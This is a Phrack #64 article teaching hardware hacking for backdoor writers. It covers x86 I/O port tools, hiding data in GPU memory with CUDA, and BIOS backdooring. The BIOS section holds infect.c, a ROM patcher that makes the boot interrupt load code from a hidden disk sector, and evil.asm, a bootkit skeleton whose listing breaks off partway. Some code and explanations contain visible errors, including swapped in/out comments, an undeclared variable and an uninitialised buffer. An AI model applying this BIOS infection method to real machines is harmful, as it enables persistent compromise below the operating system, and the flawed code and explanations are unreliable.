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..[ Phrack Magazine ]..
.:: Hacking deeper in the system ::.

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Current issue : #64 | Release date : 2007-05-27 | Editor : The Circle of Lost Hackers
IntroductionThe Circle of Lost Hackers
Phrack Prophile of the new editorsThe Circle of Lost Hackers
Phrack World NewsThe Circle of Lost Hackers
A brief history of the Underground sceneDuvel
Hijacking RDS TMC traffic information signallcars & danbia
Attacking the Core: Kernel Exploitation Notestwiz & sgrakkyu
The revolution will be on YouTubegladio
Automated vulnerability auditing in machine codeTyler Durden
The use of set_head to defeat the wildernessg463
Cryptanalysis of DPA-128sysk
Mac OS X Wars - A XNU Hopenemo
Hacking deeper in the systemscythale
The art of exploitation: Autopsy of cvsxplAc1dB1tch3z
Know your enemy: Facing the copsLance
Remote blind TCP/IP spoofingklm
Hacking your brain: The projection of consciousnesskeptune
International scenesVarious
Title : Hacking deeper in the system
Author : scythale
              _                                                _
            _/B\_                                            _/W\_
            (* *)            Phrack #64 file 12              (* *)
            | - |                                            | - |
            |   |       Hacking deeper in the system         |   |
            |   |                                            |   |
            |   |               by scythale                  |   |
            |   |                                            |   |
            |   |            scythale@gmail.com              |   |
            (____________________________________________________)



Contents

	1.  Abstract
	2.  A quick introduction to I/O system
	3.  Playing with GPU
	4.  Playing with BIOS
	5.  Conclusion
	6.  References
	7.  Thanks



1.  Abstract


     Today, we're observing a growing number of papers focusing on hardware
hacking. Even if hardware-based backdoors are far from being a good
solution to use in the wild, this topic is very important as some big
corporations are planning to take control of our computers without our
consent using some really bad designed concepts such as DRM and TCPA.
As we can't let them do this at any cost, the time has come for a little
introduction to the hardware world...

     This paper constitutes a tiny introduction to hardware hacking in the
backdoor writers perspective (hey, this is phrack, I'm not going to explain
how to pilot your coffee machine with a RS232 interface). The thing is
even if backdooring hardware isn't a so good idea, it is a good way to
start in hardware hacking. The aim of the author is to give readers the
basis of hardware hacking which should be usefull to prepare for the fight
against TCPA and other crappy things sponsored by big sucke... erm...
"companies" such as Sony and Microsoft.

     This paper is i386 centric. It does not cover any other architecture,
but it can be used as a basis on researches about other hardware. Thus
bear in mind that most of the material presented here won't work on any
other machine than a PC. Subjects such as devices, BIOS and internal work
of a PC will be discussed and some ideas about turning all these things to
our own advantage will be presented.

     This paper IS NOT an ad nor a presentation of some 3v1L s0fTw4r3,     
so you won't find a fully functionnal backdoor here. The aim of the author
is to provide information that would help you in writing your own stuff,
not to provide you with an already done work. This subject isn't a
particularly difficult one, all it just takes is immagination.

     In order to understand this article, some knowledge about x86 assembly
and architecture is heavily recommended. If you're a newbie to these
subjects, I strongly recommend you to read "The Art of Assembly
Programming" (see [1]).


2.  A quick introduction to I/O system


     Before digging straight into the subject, some explanations must be
done. Those of you who already know how I/O works on Intel's and what
they're here for might just prefer to skip to the next section. Others,
just keep on reading. 

     As this paper focuses on hardware, it would be practical to know how
to access it. The I/O system provides such an access. As everybody knows,
the processor (CPU) is the heart, or, more accurately, the brain of the
computer. But the only thing it does is to compute. Basically, a CPU isn't
of much help without devices. Devices give data to be computed to the CPU,
and allow it to bring back an answer to our requests. The I/O system is
used to link most of devices to the CPU. The way processors see I/O based
devices is quite the same as the way they see memory. In fact, all the
processors do to communicate with devices is to read and write data
"somewhere in memory" : the I/O system is charged to handle the next steps.
This "somewhere in memory" is represented by an I/O port. I/O ports are
special "addresses" that connects the CPU data bus to the device. Each I/O
based device uses at least one I/O port, many of them using several. 
Basically, the only thing device drivers do is to manipulate I/O ports
(well, very basically, that's what they do, just to communicate with
hardware). The Intel Architecture provides three main ways to manipulate
I/O ports : memory-mapped I/O, Input/Output mapped I/O and DMA.


      memory-mapped I/O

   The memory-mapped I/O system allows to manipulate I/O ports as if they
were basic memory. Instructions such as 'mov' are used to interface with
it. This system is simple : all it does is to map I/O ports to memory
addresses so that when data is written/read at one of these addresses, the
data is actually sent to/received by the device connected to the
corresponding port. Thus, the way to communicate with a device is the same
as communicating with memory.


      Input/Output mapped I/O

   The Input/Output mapped I/O system uses dedicated CPU instructions to
access I/O ports. On i386, these instructions are 'in' and 'out' :

       in 254, reg   ; writes content of reg register to port #254

       out reg, 254  ; reads data from port #254 and stores it in reg


    The only problem with these two instructions is that the port is
8 bit-encoded, allowing only an access to ports 0 to 255. The sad thing is
that this range of ports is often connected to internal hardware such as
the system clock. The way to circomvent it is the following (taken from
"The Art of Assembly Programming, see [1]) :

To access I/O ports at addresses beyond 255 you must load the 16-bit I/O
address into the DX register and use DX as a pointer to the specified I/O
address. For example, to write a byte to the I/O address $378 you would use
an instruction sequence like the following:

   mov $378, dx
   out al, dx


     DMA

     DMA stands for Direct Memory Access. The DMA system is used to enhance
devices to memory performances. Back in the old days, most hardware made
use of the CPU to transfer data to and from memory. When computers started 
to become "multimedia" (a term as meaningless as "people ready" but really 
good looking in "we-are-trying-to-fuck-you-deep-in-the-ass ads"), that is
when computers started to come equiped with CD-ROM and sound cards, CPU
couldn't handle tasks such as playing music while displaying a shotgun
firing at a monster because the user just has hit the 'CTRL' key. So,
constructors created a new chip to be able to carry out such things, and so
was born the DMA controller. DMA allows devices to transfer data from and
to memory with little operations done by the CPU. Basically, all the CPU
does is to initiate the DMA transfer and then the DMA chip takes care of
the rest, allowing the CPU to focus on other tasks. The very interesting
thing is that since the CPU doesn't actually do the transfer and since
devices are being used, protected mode does not interfere, which means we
can write and read (almost) anywhere we would like to. This idea is far
from being new, and PHC already evoqued it in one of their phrack parody.

      DMA is really a powerfull system. It allows us to do very cool
tricks but this come as the expense of a great prize : DMA is a pain in
the ass to use as it is very hardware specific. Here follows the main
different kinds of DMA systems :

	- DMA Controller (third-party DMA) : this DMA system is really old
and inefficient. The idea here is to have a general DMA Controller on the
motherboard that will handle every DMA operations for every devices. This
controller was mainly used with ISA devices and its use is now deprecated
because of performance issues and because only 4 to 8 (depending if the
board had two cascading DMA Controllers) DMA transfers could be setup at
the same time (the DMA Controller only provides 4 channels).

	- DMA Bus mastering (first-party DMA) : this DMA system provides
far better performances than the DMA Controller. The idea is to allow
each device to manage DMA himself by a processus known as "Bus Mastering".
Instead of relying on the general DMA Controller, each device is able to
take control of the system bus to perform its transfers, allowing hardware
manufacturers to provide an efficient system for their devices.


    These three things are practical enough to get started but modern
operating systems provides medias to access I/O too. As there are a lot of
these systems on the computer market, I'll introduce only the GNU/Linux
system, which constitutes a perfect system to discover hardware hacking on
Intel. As many systems, Linux is run in two modes : user land and kernel
land. Since Kernel land already allows a good control on the system, let's
see the user land ways to access I/O. I'll explain here two basic ways to
play with hardware : in*(), out*() and /dev/port :


    in/out

    The in and out instructions can be used on Linux in user land. Equally,
the functions outb(2), outw(2), outl(2), inb(2), inw(2), inl(2) are
provided to play with I/O and can be called from kernel land or user land.
As stated in "Linux Device Drivers" (see [2]), their use is the following :

    unsigned	inb(unsigned port);
    void	outb(unsigned char byte, unsigned port);

Read or write byte ports (eight bits wide). The port argument is defined as
unsigned long for some platforms and unsigned short for others. The return
type of inb is also different across architectures.

   unsigned	inw(unsigned port);
   void		outw(unsigned short word, unsigned port);

These functions access 16-bit ports (word wide); they are not available
when compiling for the M68k and S390 platforms, which support only byte
I/O.

   unsigned	inl(unsigned port);
   void		outl(unsigned longword, unsigned port);

These functions access 32-bit ports. longword is either declared as
unsigned long or unsigned int, according to the platform. Like word I/O,
"long" I/O is not available on M68k and S390.

    Note that no 64-bit port I/O operations are defined. Even on 64-bit
architectures, the port address space uses a 32-bit (maximum) data path.

    The only restriction to access I/O ports this way from user land is
that you must use iopl(2) or ioperm(2) functions, which sometimes are
protected by security systems like grsec. And of course, you must be root.
Here is a sample code using this way to access I/O :

------[io.c

/*
** Just a simple code to see how to play with inb()/outb() functions.
**
** usage is :
**	* read : io r <port address>
**	* write : io w <port address> <value>
**
** compile with : gcc io.c -o io
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/io.h>	/* iopl(2) inb(2) outb(2) */


void		read_io(long port)
{
  unsigned int	val;

  val = inb(port);
  fprintf(stdout, "value : %X\n", val);
}

void		write_io(long port, long value)
{
  outb(value, port);
}

int	main(int argc, char **argv)
{
  long	port;

  if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
  port = atoi(argv[2]);
  if (iopl(3) == -1)
    {
      fprintf(stderr, "could not get permissions to I/O system\n");
      exit(1);
    }
  if (!strcmp(argv[1], "r"))
    read_io(port);
  else if (!strcmp(argv[1], "w"))
    write_io(port, atoi(argv[3]));
  else
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
  return 0;
}

------


    /dev/port

    /dev/port is a special file that allows you to access I/O as if you
were manipulating a simple file. The use of the functions open(2), read(2),
write(2), lseek(2) and close(2) allows manipulation of /dev/port. Just go
to the address corresponding to the port with lseek() and read() or write()
to the hardware. Here is a sample code to do it :

------[port.c

/*
** Just a simple code to see how to play with /dev/port
**
** usage is :
**	* read : port r <port address>
**	* write : port w <port address> <value>
**
** compile with : gcc port.c -o port
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


void		read_port(int fd, long port)
{
  unsigned int	val = 0;

  lseek(fd, port, SEEK_SET);
  read(fd, &val, sizeof(char));
  fprintf(stdout, "value : %X\n", val);
}

void		write_port(int fd, long port, long value)
{
  lseek(fd, port, SEEK_SET);
  write(fd, &value, sizeof(char));
}

int	main(int argc, char **argv)
{
  int	fd;
  long	port;

  if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
  port = atoi(argv[2]);
  if ((fd = open("/dev/port", O_RDWR)) == -1)
    {
      fprintf(stderr, "could not open /dev/port\n");
      exit(1);
    }
  if (!strcmp(argv[1], "r"))
    read_port(fd, port);
  else if (!strcmp(argv[1], "w"))
    write_port(fd, port, atoi(argv[3]));
  else
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
  return 0;
}


------



    Ok, one last thing before closing this introduction : for Linux users
who want to list the I/O Ports on their system, just do a
"cat /proc/ioports", ie:

     $ cat /proc/ioports # lists ports from 0000 to FFFF
     0000-001f : dma1
     0020-0021 : pic1
     0040-0043 : timer0
     0050-0053 : timer1
     0060-006f : keyboard
     0080-008f : dma page reg
     00a0-00a1 : pic2
     00c0-00df : dma2
     00f0-00ff : fpu
     0170-0177 : ide1
     01f0-01f7 : ide0
     0213-0213 : ISAPnP
     02f8-02ff : serial
     0376-0376 : ide1
     0378-037a : parport0
     0388-0389 : OPL2/3 (left)
     038a-038b : OPL2/3 (right)
     03c0-03df : vga+
     03f6-03f6 : ide0
     03f8-03ff : serial
     0534-0537 : CS4231
     0a79-0a79 : isapnp write
     0cf8-0cff : PCI conf1
     b800-b8ff : 0000:00:0d.0
       b800-b8ff : 8139too
     d000-d0ff : 0000:00:09.0
       d000-d0ff : 8139too
     d400-d41f : 0000:00:04.2
       d400-d41f : uhci_hcd
     d800-d80f : 0000:00:04.1
       d800-d807 : ide0
       d808-d80f : ide1
     e400-e43f : 0000:00:04.3
       e400-e43f : motherboard
       e400-e403 : PM1a_EVT_BLK
       e404-e405 : PM1a_CNT_BLK
       e408-e40b : PM_TMR
       e40c-e40f : GPE0_BLK
       e410-e415 : ACPI CPU throttle
     e800-e81f : 0000:00:04.3
       e800-e80f : motherboard
         e800-e80f : pnp 00:02
     $



3.  Playing with GPU


     3D cards are just GREAT, period. When you're installing such a card in
your computer, you're not just plugging a device that can render nice
graphics, you're also putting a mini-computer in your own computer. Today's
graphical cards aren't a simple chip anymore. They have memory, they have a
processor, they even have a BIOS ! You can enjoy a LOT of features from
these little things.

     First of all, let's consider what a 3D card really is. 3D cards are
here to enhance your computer performances rendering 3D and to send output
for your screen to display. As I said, there are three parts that interest
us in our 3v1L doings :

       1/ The Video RAM. It is memory embedded on the card. This memory is
used to store the scene to be rendered and to store computed results. Most
of today's cards come with more than 256 MB of memory, which provide us a
nice place to store our stuff.

       2/ The Graphical Processing Unit (shortly GPU). It constitutes the
processor of your 3D card. Most of 3D operations are maths, so most of the
GPU instructions compute maths designed to graphics.

       3/ The BIOS. A lot of devices include today their own BIOS. 3D cards
make no exception, and their little BIOS can be very interesting as they
contain the firmware of your 3D card, and when you access a firmware, well,
you can just nearly do anything you dream to do.

       I'll give ideas about what we can do with these three elements, but
first we need to know how to play with the card. Sadly, as to play with any
device in your computer, you need the specs of your material and most 3D
cards are not open enough to do whatever we want. But this is not a big
problem in itself as we can use a simple API which will talk with the card
for us. Of course, this prevents us to use tricks on the card in certain
conditions, like in a shellcode, but once you've gained root and can do
what pleases you to do on the system it isn't an issue anymore. The API I'm
talking about is OpenGL (see [3]), and if you're not already familiar with
it, I suggest you to read the tutorials on [4]. OpenGL is a 3D programming 
API defined by the OpenGL Architecture Review Board which is composed of
members from many of the industry's leading graphics vendors. This library
often comes with your drivers and by using it, you can develop easily
portable code that will use features of the present 3D card.

       As we now know how to communicate with the card, let's take a deeper
look at this hardware piece. GPU are used to transform a 3D environment
(the "scene") given by the programmer into a 2D image (your screen).
Basically, a GPU is a computing pipeline applying various mathematical
operations on data. I won't introduce here the complete process of
transforming a 3D scene into a 2D display as it is not the point of this
paper. In our case, all you have to know is :

   1/ The GPU is used to transform input (usually a 3D scene but nothing
prevents us from inputing anything else)

   2/ These transformations are done using mathematical operations commonly
used in graphical programming (and again nothing prevents us from using
those operations for another purpose)

   3/ The pipeline is composed of two main computations each involving
multiple steps of data transformation :

	 - Transformation and Lighting : this step translates 3D objects
	 into 2D nets of polygons (usually triangles), generating a
	 wireframe rendering.

	 - Rasterization : this step takes the wireframe rendering as input
	 data and computes pixels values to be displayed on the screen.

      So now, let's take a look at what we can do with all these features.
What interests us here is to hide data where it would be hard to find it
and to execute instructions outside the processor of the computer. I won't
talk about patching 3D cards firmware as it requires heavy reverse
engineering and as it is very specific for each card, which is not the
subject of this paper.

	First, let's consider instructions execution. Of course, as we are
playing with a 3D card, we can't do everything we can do with a computer
processor like triggering software interrupts, issuing I/O operations or
manipulating memory, but we can do lots of mathematical operations. For
example, we can encrypt and decrypt data with the 3D card's processor
which can render the reverse engineering task quite painful. Also, it can
speed up programs relying on heavy mathematical operations by letting the
computer processor do other things while the 3D card computes for him. Such
things have already been widely done. In fact, some people are already
having fun using GPU for various purposes (see [5]). The idea here is to
use the GPU to transform data we feed him with. GPUs provide a system to
program them called "shaders". You can think of shaders as a programmable
hook within the GPU which allows you to add your own routines in the data
transformation processus. These hooks can be triggered in two places of the
computing pipeline, depending on the shader you're using. Traditionnaly,
shaders are used by programmers to add special effects on the rendering
process and as the rendering process is composed of two steps, the GPU
provides two programmable shaders. The first shader is called the
"Vexter shader". This shader is used during the transformation and lighting
step. The second shader is called the "Pixel shader" and this one is used
during the rasterization processus.

	  Ok, so now we have two entry points in the GPU system, but this
doesn't tell us how to develop and inject our own routines. Again, as we
are playing in the hardware world, there are several ways to do it,
depending on the hardware and the system you're running on. Shaders use
their own programming languages, some are low level assembly-like
languages, some others are high level C-like languages. The three main
languages used today are high level ones :

      - High-Level Shader Language (HLSL) : this language is provided by
      Microsoft's DirectX API, so you need MS Windows to use it. (see [6])

      - OpenGL Shading Language (GLSL or GLSlang) : this language is
      provided by the OpenGL API. (see [7])

      - Cg : this language was introduced by NVIDIA to program on their
      hardware using either the DirectX API or the OpenGL one. Cg comes
      with a full toolkit distributed by NVIDIA for free (see [8] and [9]).

    Now that we know how to program GPUs, let's consider the most
interesting part : data hiding. As I said, 3D cards come with a nice
amount of memory. Of course, this memory is aimed at graphical usage but
nothing prevents us to store some stuff in it. In fact, with the help of
shaders we can even ask the 3D card to store and encrypt our data. This is
fairly easy to do : we put the data in the beginning of the pipeline, we
program the shaders to decide how to store and encrypt it and we're done.
Then, retrieving this data is nearly the same operation : we ask the
shaders to decrypt it and to send it back to us. Note that this encryption
is really weak, as we rely only on shaders' computing and as the encryption
and decryption process can be reversed by simply looking at the shaders
programming in your code, but this can constitutes an effective way to
improve already existing tricks (a 3D card based Shiva could be fun).

    Ok, so now we can start coding stuff taking advantage of our 3D cards.
But wait ! We don't want to mess with shaders, we don't want to learn
about 3D programming, we just want to execute code on the device so we can
quickly test what we can do with those devices. Learning shaders
programming is important because it allows to understand the device better
but it can be really long for people unfamiliar with the 3D world.
Recently, nVIDIA released a SDK allowing programmers to easily use 3D
devices for other purposes than graphisms. nVIDIA CUDA (see [10]) is a SDK
allowing programmers to use the C language with new keywords used to tell
the compiler which part of the code should be executed on the device and
which part of the code should be executed on the CPU. CUDA also comes with
various mathematical libraries.

     Here is a funny code to illustrate the use of CUDA :

------[ 3ddb.c

/*
** 3ddb.c : a very simple program used to store an array in
** GPU memory and make the GPU "encrypt" it. Compile it using nvcc.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <cutil.h>
#include <cuda.h>


/*** GPU code and data ***/

char *		store;


__global__ void	encrypt(int key)
{
  /* do any encryption you want here */
  /* and put the result into 'store' */
  /* (you need to modify CPU code if */
  /* the encrypted text size is      */
  /* different than the clear text   */
  /* one). */
}

/*** end of GPU code and data ***/


/*** CPU code and data ***/
CUdevice	dev;

void		usage(char * cmd)
{
  fprintf(stderr, "usage is : %s <string> <key>\n", cmd);
  exit(0);
}


void		init_gpu()
{
  int		count;

  CUT_CHECK_DEVICE();
  CU_SAFE_CALL(cuInit());
  CU_SAFE_CALL(cuDeviceGetCount(&count));
  if (count <= 0)
    {
      fprintf(stderr, "error : could not connect to any 3D card\n");
      exit(-1);
    }
  CU_SAFE_CALL(cuDeviceGet(&dev, 0));
  CU_SAFE_CALL(cuCtxCreate(dev));
}


int		main(int argc, char ** argv)
{
  int		key;
  char *	res;

  if (argc != 3)
    usage(argv[0]);
  init_gpu();
  CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1])));
  CUDA_SAFE_CALL(cudaMemcpy(store,
			    argv[1],
			    strlen(argv[1]),
			    cudaMemcpyHostToDevice));
  res = malloc(strlen(argv[1]));
  key = atoi(argv[2]);
  encrypt<<<128, 256>>>(key);
  CUDA_SAFE_CALL(cudaMemcpy(res,
			    store,
			    strlen(argv[1]),
			    cudaMemcpyDeviceToHost));
  for (i = 0; i < strlen(argv[1]); i++)
    printf("%c", res[i]);
  CU_SAFE_CALL(cuCtxDetach());
  CUT_EXIT(argc, argv);
  return 0;
}

------



4.  Playing with BIOS


     BIOSes are very interesting. In fact, little work has already been
done in this area and some stuff has already been published. But let's
recap all this things and take a look at what wonderful tricks we can do
with this little chip. First of all, BIOS means Basic Input/Output System.
This chip is in charge of handling boot process, low-level configuration
and of providing a set of functions for boot loaders and operating systems
during their early loading processus. In fact, at boot time, BIOS takes
control of the system first, then it does a couple of checks, then it sets
an IDT to provide features via interruptions and finally tries to load the
boot loader located in each bootable device, following its configuration.
For example, if you specify in your BIOS setup to first try to boot on
optical drive and then on your harddrive, at boot time the BIOS will first
try to run an OS from the CD, then from your harddrive. BIOSes' code is the
VERY FIRST code to be executed on your system. The interesting thing is
that backdooring it virtually gives us a deep control of the system and a
practical way to bypass nearly any security system running on the target,
since we execute code even before this system starts ! But the inconvenient
of this thing is big : as we are playing with hardware, portability becomes
a really big issue.

     The first thing you need to know about playing with BIOS is that there
are several ways to do it. Some really good publications (see [11]) have
been made on the subject, but I'll focus on what we can do when patching
the ROM containing the BIOS.

      BIOSes are stored in a chip located on your motherboard. Old BIOSes
were  single ROMs without write possibilities, but then some manufacturers
got the brilliant idea to allow BIOS patching. They introduced the BIOS
flasher, which is a little device we can communicate with using the I/O
system. The flasher can read and write the BIOS for us, which is all we
need to play in this land. Of course, as there are many different BIOSes
in the wild, I won't introduce any particular chip. Here are some pointers
that will help you :

      * [12] /dev/bios is a tool from the OpenBIOS initiative (see [13]).
It is a kernel module for Linux that creates devices to easily manipulate
various BIOSes. It can access several BIOSes, including network card
BIOSes. It is a nice tool to play with and the code is nice, so you'll see 
how to get your hands to work.

      * [14] is a WONDERFUL guide that will explain you nearly everything
about Award BIOSes. This paper is a must read for anyone interested in this
subject, even if you don't own an Award BIOS.

      * [15] is an interesting website to find information about various
BIOSes.

      In order to start easy and fast, we'll use a virtual machine, which
is very handy to test your concepts before you waste your BIOS. I
recommend you to use Bochs (see [16]) as it is free and open source and
mainly because it comes with a very well commented source code used to
emulate a BIOS. But first, let's see how BIOSes really work.

       As I said, BIOS is the first entity which has the control over your
system at boottime. The interesting thing is, in order to start to reverse
engineer your BIOS, that you don't even need to use the flasher. At the
start of the boot process, BIOS's code is mapped (or "shadowed") in RAM at
a specific location and uses a specific range of memory. All we have to do
to read this code, which is 16 bits assembly, is to read memory. BIOS
memory area starts at 0xf0000 and ends at 0x100000. An easy way to dump
the code is to simply do a :

   % dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040
   % objdump -b binary -m i8086 -D BIOS.dump

   You should note that as BIOS contains data, such a dump isn't accurate
as you will have a shift preventing code to be disassembled correctly. To
address this problem, you should use the entry points table provided
farther and use objdump with the '--start-address' option.

      Of course, the code you see in memory is rarely easy to retrieve in
the chip, but the fact you got the somewhat "unencrypted text" can help a
lot. To get started to see what is interesting in this code, let's have a
look at a very interesting comment in the Bochs BIOS source code
(from [17]) :


	 30 // ROM BIOS compatability entry points:
	 31 // ===================================
	 32 // $e05b ; POST Entry Point
	 33 // $e2c3 ; NMI Handler Entry Point
	 34 // $e3fe ; INT 13h Fixed Disk Services Entry Point
	 35 // $e401 ; Fixed Disk Parameter Table
	 36 // $e6f2 ; INT 19h Boot Load Service Entry Point
	 37 // $e6f5 ; Configuration Data Table
	 38 // $e729 ; Baud Rate Generator Table
	 39 // $e739 ; INT 14h Serial Communications Service Entry Point
	 40 // $e82e ; INT 16h Keyboard Service Entry Point
	 41 // $e987 ; INT 09h Keyboard Service Entry Point
	 42 // $ec59 ; INT 13h Diskette Service Entry Point
	 43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point
	 44 // $efc7 ; Diskette Controller Parameter Table
	 45 // $efd2 ; INT 17h Printer Service Entry Point
	 46 // $f045 ; INT 10 Functions 0-Fh Entry Point
	 47 // $f065 ; INT 10h Video Support Service Entry Point
	 48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)
	 49 // $f841 ; INT 12h Memory Size Service Entry Point
	 50 // $f84d ; INT 11h Equipment List Service Entry Point
	 51 // $f859 ; INT 15h System Services Entry Point
	 52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \
	 (lower 128 characters)
	 53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point
	 54 // $fea5 ; INT 08h System Timer ISR Entry Point
	 55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST
	 56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler
	 57 // $ff54 ; INT 05h Print Screen Service Entry Point
	 58 // $fff0 ; Power-up Entry Point
	 59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY
	 60 // $fffe ; System Model ID

	 These offsets indicate where to find specific BIOS
functionalities in memory and, as they are standard, you can apply them to
your BIOS too. For example, the BIOS interruption 19h is located in memory
at 0xfe6f2 and its job is to load the boot loader in RAM and to jump on it.
On old systems, a little trick was to jump to this memory location to
reboot the system. But before considering BIOS code modification, we have
one issue to resolve : BIOS chips have limited space, and if it can
provide enough space for basic backdoors, we'll end up quickly begging for
more places to store code if we want to do something nice. We have two ways
to get more space :

     1/ We patch the int19h code so that instead of loading the real
bootloader on a device specified, it loads our code (which will load the
real bootloader once it's done) at a specific location, like a sector
marked as defective on a specific hard drive. Of course, this operation
implies alteration of another media than BIOS, but, since it provides us
with as nearly as many space as we could dream, this method must be taken
into consideration

     2/ If you absolutely want to stay in BIOS space, you can do a little
trick on some BIOS models. One day, processors manufacturers made a deal
with BIOS manufacturers. Processor manufacturers decided to give the
possibility to update the CPU's microcode in order to fix bugs without
having to recall all sold material (remember the f00f bug ?). The idea was
that the BIOS would store the updated microcode and inject it in the CPU
during each boot process, as modifications on microcode aren't permanent.
This feature is known as "BIOS update". Of course, this microcode takes
space and we can search for the code injecting it, hook it so it doesn't do
anything anymore and erase the microcode to store our own code.


	  Implementing 2/ is more complex than 1/, so we'll focus on the
first one to get started. The idea is to make the BIOS load our own code
before the bootloader. This is very easy to do. Again, BochsBIOS sources
will come in handy, but if you look at your BIOS dump, you should see very
little differences. The code which interests us is located at 0xfe6f2 and
is the 19h BIOS interrupt. This one is very interesting as this is the one
in charge of loading the boot loader. Let's take a look at the interesting 
part of its code :

       7238   // We have to boot from harddisk or floppy
       7239   if (bootcd == 0) {
       7240     bootseg=0x07c0;
       7241 
       7242 ASM_START
       7243     push bp	
       7244     mov  bp, sp
       7245 
       7246     mov  ax, #0x0000
       7247     mov  _int19_function.status + 2[bp], ax	
       7248     mov  dl, _int19_function.bootdrv + 2[bp]
       7249     mov  ax, _int19_function.bootseg + 2[bp]
       7250     mov  es, ax         ;; segment		
       7251     mov  bx, #0x0000    ;; offset		
       7252     mov  ah, #0x02      ;; function 2, read diskette sector
       7253     mov  al, #0x01      ;; read 1 sector	
       7254     mov  ch, #0x00      ;; track 0		
       7255     mov  cl, #0x01      ;; sector 1		
       7256     mov  dh, #0x00      ;; head 0
       7257     int  #0x13          ;; read sector
       7258     jnc  int19_load_done
       7259     mov  ax, #0x0001
       7260     mov  _int19_function.status + 2[bp], ax
       7261 
       7262 int19_load_done:
       7263     pop  bp
       7264 ASM_END
	

	int13h is the BIOS interruption used to access storage devices. In
our case, BIOS is trying to load the boot loader, which is on the first
sector of the drive. The interesting thing is that by only changing the
value put in one register, we can make the BIOS load our own code. For
instance, if we hide our code in the sector number 0xN and if we patch the
BIOS so that instead of the instruction 'mov cl, #0x01' we have
'mov cl, #0xN', we can have our code loaded at each boot and reboot.
Basically, we can store our code wherever we want to as we can change the
sector, the track and even the drive to be used. It is up to you to chose
where to store your code but as I said, a sector marked as defective can
work out as an interesting trick.

       Here are three source codes to help you get started faster : the
first one, inject.c, modifies the ROM of the BIOS so that it loads our code
before the boot loader. inject.c needs /dev/bios to run. The second one,
code.asm, is a skeletton to fill with your own code and is loaded by the
BIOS. The third one, store.c, inject code.asm in the target sector of the
first track of the hard drive.


--[ infect.c

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define BUFSIZE		512
#define BIOS_DEV	"/dev/bios"

#define CODE		"\xbb\x00\x00"  /* mov bx, 0 */ \
			"\xb4\x02"      /* mov ah, 2 */ \
			"\xb0\x01"      /* mov al, 1 */ \
			"\xb5\x00"      /* mov ch, 0 */ \
			"\xb6\x00"      /* mov dh, 0 */ \
			"\xb1\x01"      /* mov cl, 1 */ \
			"\xcd\x13"      /* int 0x13 */

#define TO_PATCH	"\xcd\x13" 	 /* mov cl, 1 */

#define SECTOR_OFFSET	1


void	usage(char *cmd)
{
  fprintf(stderr, "usage is : %s [bios rom] <sector> <infected rom>\n", cmd);
  exit(1);
}


/*
** This function looks in the BIOS rom and search the int19h procedure.
** The algorithm used sucks, as it does only a naive search. Interested
** readers should change it.
*/
char *	search(char * buf, size_t size)
{
  return memmem(buf, size, CODE, sizeof(CODE));
}


void	patch(char * tgt, size_t size, int sector)
{
  char		new;
  char *	tmp;

  tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH));
  new = (char)sector;
  tmp[SECTOR_OFFSET] = new;
}


int		main(int argc, char **argv)
{
  int		sector;
  size_t	i;
  size_t	ret;
  size_t       	cnt;
  int		devfd;
  int		outfd;
  char *	buf;
  char *	dev;
  char *	out;
  char *	tgt;

  if (argc == 3)
    {
      dev = BIOS_DEV;
      out = argv[2];
      sector = atoi(argv[1]);
    }
  else if (argc == 4)
    {
      dev = argv[1];
      out = argv[3];
      sector = atoi(argv[2]);
    }
  else
    usage(argv[0]);
  if ((devfd = open(dev, O_RDONLY)) == -1)
    {
      fprintf(stderr, "could not open BIOS\n");
      exit(1);
    }
  if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1)
    {
      fprintf(stderr, "could not open %s\n", out);
      exit(1);
    }
  for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret)
    buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE);
  if (ret == -1)
    {
      fprintf(stderr, "error reading BIOS\n");
      exit(1);
    }
  if ((tgt = search(buf, cnt)) == NULL)
    {
      fprintf(stderr, "could not find code to patch\n");
      exit(1);
    }
  patch(tgt, cnt, sector);
  for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret)
    ;
  if (ret == -1)
    {
      fprintf(stderr, "could not write patched ROM to disk\n");
      exit(1);
    }
  close(devfd);
  close(outfd);
  free(buf);
  return 0;
}

---


--[ evil.asm

;;; 
;;; A sample code to be loaded by an infected BIOS instead of
;;; the real bootloader. It basically moves himself so he can
;;; load the real bootloader and jump on it. Replace the nops
;;; if you want him to do something usefull.
;;; 
;;; usage is :
;;;		no usage, this code must be loaded by store.c
;;;
;;; compile with : nasm -fbin evil.asm -o evil.bin
;;; 
	
BITS	16			
ORG	0			

;; we need this label so we can check the code size
entry:
	
	jmp	begin		; jump over data


;; here comes data
drive	db	0		; drive we're working on

			
begin:

	mov	[drive], dl	; get the drive we're working on
	
	;; segments init
	mov	ax, 0x07C0
	mov	ds, ax
	mov	es, ax

	;; stack init
	mov	ax, 0
	mov	ss, ax
	mov	ax, 0xffff
	mov	sp, ax

	;; move out of the zone so we can load the TRUE boot loader
	mov	ax, 0x7c0
	mov	ds, ax
	mov	ax, 0x100
	mov	es, ax
	mov	si, 0
	mov	di, 0
	mov	cx, 0x200
	cld
	rep	movsb
	
	;; jump to our new location
	jmp	0x100:next

	
